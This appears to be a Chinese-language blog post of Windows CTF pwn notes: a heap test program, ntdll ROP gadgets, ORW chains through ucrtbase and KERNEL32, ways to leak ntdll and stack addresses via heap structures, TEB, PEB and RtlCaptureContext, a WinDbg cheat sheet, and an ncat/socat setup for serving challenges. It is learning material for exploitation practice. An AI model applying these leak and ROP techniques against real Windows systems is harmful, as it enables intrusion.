//setvbuf(stdin, NULL, _IONBF, 0);

hHeap = HeapCreate(HEAP_GROWABLE, 0, 0); // < == important!!!
//puts("who are you:");
//_read(0, name, 0x20);
system("pause");
for (int i = 0; i < 19; i++)
{
ptr[0] = (char*)HeapAlloc(hHeap, HEAP_ZERO_MEMORY, 0x40);
}
ptr[1] = (char*)HeapAlloc(hHeap, HEAP_ZERO_MEMORY, 0x40);
memset(ptr[1],'\x11',0x40);
ptr[2] = (char*)HeapAlloc(hHeap, HEAP_ZERO_MEMORY, 0x40);
memset(ptr[2], '\x22', 0x40);
ptr[3] = (char*)HeapAlloc(hHeap, HEAP_ZERO_MEMORY, 0x40);
memset(ptr[3], '\x33', 0x40);
ptr[4] = (char*)HeapAlloc(hHeap, HEAP_ZERO_MEMORY, 0x40);
memset(ptr[4], '\x44', 0x40);
ptr[5] = (char*)HeapAlloc(hHeap, HEAP_ZERO_MEMORY, 0x40);
memset(ptr[5], '\x55', 0x40);
ptr[6] = (char*)HeapAlloc(hHeap, HEAP_ZERO_MEMORY, 0x40);
memset(ptr[6], '\x66', 0x40);
ptr[7] = (char*)HeapAlloc(hHeap, HEAP_ZERO_MEMORY, 0x40);
memset(ptr[7], '\x77', 0x40);
ptr[8] = (char*)HeapAlloc(hHeap, HEAP_ZERO_MEMORY, 0x40);
memset(ptr[8], '\x88', 0x40);
ptr[9] = (char*)HeapAlloc(hHeap, HEAP_ZERO_MEMORY, 0x40);
memset(ptr[9], '\x99', 0x40);
ptr[10] = (char*)HeapAlloc(hHeap, HEAP_ZERO_MEMORY, 0x40);
memset(ptr[10], '\xaa', 0x40);
ptr[11] = (char*)HeapAlloc(hHeap, HEAP_ZERO_MEMORY, 0x40);
memset(ptr[11], '\xbb', 0x40);
ptr[12] = (char*)HeapAlloc(hHeap, HEAP_ZERO_MEMORY, 0x40);
memset(ptr[12], '\xcc', 0x40);
ptr[13] = (char*)HeapAlloc(hHeap, HEAP_ZERO_MEMORY, 0x40);
memset(ptr[13], '\xdd', 0x40);
ptr[14] = (char*)HeapAlloc(hHeap, HEAP_ZERO_MEMORY, 0x40);
memset(ptr[14], '\xee', 0x40);
ptr[15] = (char*)HeapAlloc(hHeap, HEAP_ZERO_MEMORY, 0x40);
memset(ptr[15], '\xff', 0x40);
ptr[16] = (char*)HeapAlloc(hHeap, HEAP_ZERO_MEMORY, 0x40);
memset(ptr[16], '\xf0', 0x40);
ptr[17] = (char*)HeapAlloc(hHeap, HEAP_ZERO_MEMORY, 0x40);
memset(ptr[17], '\xf1', 0x40);
ptr[18] = (char*)HeapAlloc(hHeap, HEAP_ZERO_MEMORY, 0x40);
memset(ptr[18], '\xf2', 0x40);
ptr[19] = (char*)HeapAlloc(hHeap, HEAP_ZERO_MEMORY, 0x40);
memset(ptr[19], '\xf3', 0x40);

system("pause");
return 0;
}

出题笔记

关闭代码优化,VC++编译器:

1
2
#pragma optimize( "", off )
#pragma optimize( "", on )

VS新建项目时选空项目。

x64下一个通用的gadget,本机的ntdll库里的位置在:0x8FB20,内容为pop_rdx_rcx_r8_r9_r10_r11_ret

rop/ucrtbase流派:ucrtbase!_openucrtbase!_readucrtbase!puts/_write

shellcode/KERNEL32流派:KERNEL32!VirtualProtectStubKERNEL32!ReadFileKERNEL32!CreateFileAKERNEL32!GetStdHandleStubKERNEL32!WriteFile

两者都需要注意栈下溢,一般一个函数调用完会覆盖其返回地址后两到三个数据,需要pop掉。

关于调试

dt _HEAP heapbase -r2

dt _HEAP_ENTRY chunk_address

关于泄露

windowsdll和各种结构体众多,且其相互之间关系比较复杂,所以泄露的过程也比较繁琐多变,最重要的就是ntdllstack的泄露了。

泄露ntdll的地址可以用堆上的_HEAP_LOCK(一般在heapbase+0x2C0):

  • _HEAP->LockVariable.Lock
  • CriticalSection->DebugInfo
  • 指向ntdll的指针,比如PE或者其他dllIAT表。

泄露栈地址一般有两种方法:

  • KERNELBASE!BasepFilterInfo附近,泄露KERNELBASE一般用KERNEL32
  • TEB+8处为StackBase(其后两字节一般为\x00),TEB+0x10处为StackLimit(栈的结束地址,其一般最后一字节为\x00,值为StackBase-0x3000,也有可能为StackBase-0x4000),泄露Teb需要ntdll!PebLdr的地址。

关于_PEB_LDR_DATA

fs:[0x30] => Teb => Peb =>_PEB_LDR_DATA(和ntdll!PebLdr值一样)=>_LDR_DATA_TABLE_ENTRY

image-20201104203048032

image-20201104203001361

image-20201104203708196

1
2
3
InLoadOrderModuleList;                //模块加载顺序
InMemoryOrderModuleList; //模块在内存中的顺序
InInitializationOrderModuleList; //模块初始化装载顺序

这三条双向链表又指向_LDR_DATA_TABLE_ENTRY中的DllBase字段。

image-20201104204150241

在这里插入图片描述

这样可以获得所有dll的基址。

https://www.anquanke.com/post/id/173586

https://blog.csdn.net/qq_35426012/article/details/102711275

笔记

windbg使用笔记

断下main函数:bp @$exentry

看进程地址分布(相当于vmmap):lm

列出当前进程中加载的所有dll文件和对应的路径:lmf

可以查看任意一个dll的详细信息:lmvm

查看地址页权限属性等:!address

在内存中搜索字符串:s -a start_address Lrange "your_string",例如在从0x7f0000000000开始往后的0x1000000范围内搜索xxrwtcl,则为s -a 0x7f0000000000 L1000000 "xxrwtcl"。搜word => -wqword => -qdword => -dunicode => -u

查看断点:bl

查看当前线程堆栈: kn/kb/kp/kP

汇编窗口:ALT+7

堆栈窗口:ALT+6 等效于 kn

内存窗口:ALT+5

寄存器窗口:ALT+4

看程序头部信息:!dh -a filename

运行程序:F5/g

单步步入:F11/F8/t

单步步过:F10/p

跳出当前函数:shirt+F11

重新开始:Ctrl+Shift+F5

查看teb/peb地址:r $teb/r $peb

查看teb/peb信息:!teb/!peb

查看固定地址的数据:db(byte)/w(word)/d(dword)/a(ascii)/u(unicode)/c(char) address(16进制) 也可直接跟寄存器:d esp

下断点:bp address

查看断点信息:bl

删除断点:bc

寄存器前加@可以当地址使用:da @rcx,查看rcx寄存器地址处的字符串

修改内存:e,用法与d类似,eb/ew/ed/eq/ep/ea/eu address value

命令显示或修改寄存器、浮点寄存器、标志位、伪寄存器和预定义别名:r

  • 直接用r,会显示当前线程的寄存器状态

    ~0 r表示显示0号线程的寄存器状态

    ~* r会显示所有线程的寄存器状态

    ~0 r eax = 0x1可以对1线程进行eax赋值

    ~* r eax = 0x1,可以对所有线程进行eax赋值

加载符号文件:reload !sym

把指定地址上的代码翻译成汇编输出:u address

查看符号的二进制地址:x -> x ucrtbase!system ,支持通配符:x ucrtbase!*列出ucrtbase模块所有符号和对应的二进制地址。

dds address/reg打印内存地址/寄存器指向地址上的二进制值,同时自动搜索二进制值对应的符号。x86ddsx64dqsdps自动根据当前处理器架构来选择最合适的长度。

dt命令显示局部变量、全局变量或数据类型的信息。它也可以仅显示数据类型。即结构和联合(union)的信息。

  • dt _peb
  • dt ntdll!_peb
  • dt _heap
  • dt _heap_entry
  • dt _teb

~ 命令是用来切换目标线程

  • ~ 可以显示线程的信息
    ~0s 把当前的线程切换到0号线程,也就是主线程,切换后提示符会变为0:000查看teb时一定要切换到主线程

    ~* 命令列出当前进程中的所有线程的详细信息

    ~*kb 命令列出所有线程的堆栈

IAT表项:例如,找KERNEL32中从ntdll.dll导出的符号:x KERNEL32!_imp__nt*

在做堆题时一些有用的命令:

  • !heap
  • !heap -a [heap address]
  • dt _HEAP [heap address]
  • dt _HEAP_LIST_LOOKUP [address]
  • dt _LFH_HEAP
  • More Windbg usage

  • 我的配置:

    • Font:Lucida Sans Typewriter size:五号
    • Background:black
    • Text:white
    • Normal level command window text:white
    • Normal level command window text background:black
    • Prompt level command window text:red
    • Prompt level command window text background:black

关于交互

python脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import subprocess
import time
import os
import ast

def InputCmd(stdin, cmd):
stdin.write(cmd)
stdin.flush()

def OutputCmd(stdout):
// 如果没有输出, 调整睡眠时间
time.sleep(0.1)
print(stdout.read().decode("gbk", 'ignore'))

def main():
fileOut = open("fout.txt", "wb")
readFileOut = open("fout.txt", "rb")

prog = subprocess.Popen("babystack.exe", stdin = subprocess.PIPE,
stdout = fileOut)
while True:
OutputCmd(readFileOut)
cmd = input(">> ")
if "EXIT" == cmd:
break
if 'b' == cmd[0] and ('"' == cmd[1] or "'" == cmd[1]):
cmd = ast.literal_eval(cmd) + b'\n'
else:
cmd = cmd.encode("utf-8") + b'\n'
InputCmd(prog.stdin, cmd)

prog.terminate()
readFileOut.close()
fileOut.close()
os.remove("fout.txt")

if "__main__" == __name__:
main()

很多题目自带一个AppJailLauncher,相当于一个Windows底下的stdio服务器和沙盒,在Win 7下面也是不能直接运行这个程序的,仅支持above Windows8且为x64

程序源码:https://github.com/trailofbits/AppJailLauncher


Ex师傅也写了一个类似的程序,不过没有加沙盒。

程序源码:https://github.com/Ex-Origin/win_server


最方便的方法其实和Linux下面Pwn题目开端口一样,只需要下载nmap,用里面的ncat来打开端口转发stdio即可,具体命令如下:
ncat -vc "winpwn.exe" -kl 192.168.21.1 4444

通过TCP连接上端口之后ncat就会自动打开一个进程,要调试的时候只需要用windbg attach上对应进程即可。


或者直接在wslsocat tcp-l:1337,fork,reuseaddr exec:./winpwn.exe,我竟然才知道wsl可以运行exe程序,🤮。


powershell Set-ProcessMitigation -Name winpwn.exe -Disable DisallowChildProcessCreati on

powershell Set-ProcessMitigation -Name winpwn.exe -Enable DisallowChildProcessCreati on

powershell Get-ProcessMitigation -Name winpwn.exe

资料

https://www.one-tab.com/page/eaArgKkOSsCm-0oGNbAu1w

https://xuanxuanblingbling.github.io/ctf/pwn/2020/07/09/winpwn/

https://kirin-say.top/2020/01/01/Heap-in-Windows/

https://github.com/A7um/slides/blob/master/2017/WinPWN.pdf

https://ble55ing.github.io/2019/08/18/WindowsPwn0/#linux%E7%9A%84exp%E7%94%9F%E6%88%90%E6%96%B9%E5%BC%8F%E5%9C%A8windwos%E4%B8%8A%E7%9A%84%E5%BA%94%E7%94%A8

https://ble55ing.github.io/2019/08/18/WindowsPwnHeap/#dword-shoot

https://www.slideshare.net/AngelBoy1/windows-10-nt-heap-exploitation-chinese-version

http://showlinkroom.me/2020/07/14/WindowsHeap101/

https://github.com/saaramar/Publications/blob/master/35C3_Windows_Mitigations/Modern%20Windows%20Userspace%20Exploitation.pdf

ntdll!RtlCaptureContext

获取stack地址的方法:调用ntdll!RtlCaptureContext,其rcx指向一个结构体(ContextRecord structure),并且将几乎所有的寄存器都写入这个结构体中,其中包含rsp,我们再将其读出即可:

image-20201106161234548

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
.text:00000001800A0100 ; void __stdcall RtlCaptureContext(PCONTEXT ContextRecord)
.text:00000001800A0100 public RtlCaptureContext
.text:00000001800A0100 RtlCaptureContext proc near ; CODE XREF: _invalid_parameter+20↑p
.text:00000001800A0100 ; __report_gsfailure+13↑p ...
.text:00000001800A0100
.text:00000001800A0100 var_8 = dword ptr -8
.text:00000001800A0100 arg_0 = byte ptr 8
.text:00000001800A0100
.text:00000001800A0100 pushfq
.text:00000001800A0102 mov [rcx+78h], rax
.text:00000001800A0106 mov [rcx+80h], rcx
.text:00000001800A010D mov [rcx+88h], rdx
.text:00000001800A0114 mov [rcx+0B8h], r8
.text:00000001800A011B mov [rcx+0C0h], r9
.text:00000001800A0122 mov [rcx+0C8h], r10
.text:00000001800A0129 mov [rcx+0D0h], r11
.text:00000001800A0130 fxsave dword ptr [rcx+100h]
.text:00000001800A0137
.text:00000001800A0137 CcSaveNVContext: ; DATA XREF: RtlpCaptureContext+67↑o
.text:00000001800A0137 mov word ptr [rcx+38h], cs
.text:00000001800A013A mov word ptr [rcx+3Ah], ds
.text:00000001800A013D mov word ptr [rcx+3Ch], es
.text:00000001800A0140 mov word ptr [rcx+42h], ss
.text:00000001800A0143 mov word ptr [rcx+3Eh], fs
.text:00000001800A0146 mov word ptr [rcx+40h], gs
.text:00000001800A0149 mov [rcx+90h], rbx
.text:00000001800A0150 mov [rcx+0A0h], rbp
.text:00000001800A0157 mov [rcx+0A8h], rsi
.text:00000001800A015E mov [rcx+0B0h], rdi
.text:00000001800A0165 mov [rcx+0D8h], r12
.text:00000001800A016C mov [rcx+0E0h], r13
.text:00000001800A0173 mov [rcx+0E8h], r14
.text:00000001800A017A mov [rcx+0F0h], r15
.text:00000001800A0181 stmxcsr dword ptr [rcx+34h]
.text:00000001800A0185 lea rax, [rsp+8+arg_0] //here
.text:00000001800A018A mov [rcx+98h], rax //here
.text:00000001800A0191 mov rax, [rsp+8]
.text:00000001800A0196 mov [rcx+0F8h], rax
.text:00000001800A019D mov eax, [rsp+8+var_8]
.text:00000001800A01A0 mov [rcx+44h], eax
.text:00000001800A01A3 mov dword ptr [rcx+30h], 10000Fh
.text:00000001800A01AA add rsp, 8
.text:00000001800A01AE retn
.text:00000001800A01AE RtlCaptureContext endp

image-20201104165855975


杂谈

system => common_system<char> => common_spawnv<char> => execute_command<char> => _acrt_CreateProcessA => kernel32!CreateProcessWStub => kernelbase!CreateProcessW => kernelbase!CreateProcessInternalW => ntdll!NtCreateUserProcess=> syscall

https://www.cnblogs.com/arxive/p/11748114.html

http://blog.leanote.com/post/snowming/6e3293284019

Windows_x64_系统调用号表

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
.text:000000018009D920 NtCreateUserProcess proc near           ; CODE XREF: RtlpCreateUserProcess+272↑p
.text:000000018009D920 ; DATA XREF: .rdata:0000000180118F20↓o ...
.text:000000018009D920 mov r10, rcx ; NtCreateUserProcess
.text:000000018009D923 mov eax, 0C4h
.text:000000018009D928 test byte ptr ds:7FFE0308h, 1
.text:000000018009D930 jnz short loc_18009D935
.text:000000018009D932 syscall ; Low latency system call
.text:000000018009D934 retn
.text:000000018009D935 ; ---------------------------------------------------------------------------
.text:000000018009D935
.text:000000018009D935 loc_18009D935: ; CODE XREF: NtCreateUserProcess+10↑j
.text:000000018009D935 int 2Eh ; DOS 2+ internal - EXECUTE COMMAND
.text:000000018009D935 ; DS:SI -> counted CR-terminated command string
.text:000000018009D937 retn
.text:000000018009D937 NtCreateUserProcess endp

check.py

ucrtbase的发展历史

dll的search流程

http://www.windbg.org/


ntdll!LdrpHandleInvalidUserCallTarget函数中含有可以通用的gadget

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
.text:000000018008C400 LdrpHandleInvalidUserCallTarget proc near
.text:000000018008C400 ; CODE XREF: LdrpValidateUserCallTarget+41↓j
.text:000000018008C400 ; LdrpValidateUserCallTargetES+41↓j ...
.text:000000018008C400
.text:000000018008C400 var_98 = xmmword ptr -98h
.text:000000018008C400 var_88 = xmmword ptr -88h
.text:000000018008C400 var_78 = xmmword ptr -78h
.text:000000018008C400 var_68 = xmmword ptr -68h
.text:000000018008C400 var_58 = xmmword ptr -58h
.text:000000018008C400 var_48 = xmmword ptr -48h
.text:000000018008C400 var_10 = qword ptr -10h
.text:000000018008C400
.text:000000018008C400 push r11
.text:000000018008C402 push r10
.text:000000018008C404 push r9
.text:000000018008C406 push r8
.text:000000018008C408 push rcx
.text:000000018008C409 push rdx
.text:000000018008C40A push rax
.text:000000018008C40B sub rsp, 80h
.text:000000018008C412 movaps [rsp+0B8h+var_98], xmm0
.text:000000018008C417 movaps [rsp+0B8h+var_88], xmm1
.text:000000018008C41C movaps [rsp+0B8h+var_78], xmm2
.text:000000018008C421 movaps [rsp+0B8h+var_68], xmm3
.text:000000018008C426 movaps [rsp+0B8h+var_58], xmm4
.text:000000018008C42B movaps [rsp+0B8h+var_48], xmm5
.text:000000018008C430 mov rcx, rax
.text:000000018008C433 call RtlpHandleInvalidUserCallTarget
.text:000000018008C438 movaps xmm3, [rsp+0B8h+var_68]
.text:000000018008C43D movaps xmm2, [rsp+0B8h+var_78]
.text:000000018008C442 movaps xmm1, [rsp+0B8h+var_88]
.text:000000018008C447 movaps xmm0, [rsp+0B8h+var_98]
.text:000000018008C44C mov r10, [rsp+0B8h+var_10]
.text:000000018008C454 test r10, r10
.text:000000018008C457 jz short loc_18008C46E
.text:000000018008C459 add rsp, 80h
.text:000000018008C460 pop rax
.text:000000018008C461 pop rdx
.text:000000018008C462 pop rcx
.text:000000018008C463 pop r8
.text:000000018008C465 pop r9
.text:000000018008C467 pop r10
.text:000000018008C469 pop r11
.text:000000018008C46B jmp rax
.text:000000018008C46E ; ---------------------------------------------------------------------------
.text:000000018008C46E
.text:000000018008C46E loc_18008C46E: ; CODE XREF: LdrpHandleInvalidUserCallTarget+57↑j
.text:000000018008C46E movaps xmm5, [rsp+0B8h+var_48]
.text:000000018008C473 movaps xmm4, [rsp+0B8h+var_58]
.text:000000018008C478 add rsp, 80h
.text:000000018008C47F pop rax
.text:000000018008C480 pop rdx // <== here!!!
.text:000000018008C481 pop rcx
.text:000000018008C482 pop r8
.text:000000018008C484 pop r9
.text:000000018008C486 pop r10
.text:000000018008C488 pop r11
.text:000000018008C48A retn
.text:000000018008C48A LdrpHandleInvalidUserCallTarget endp
打赏还是打残,这是个问题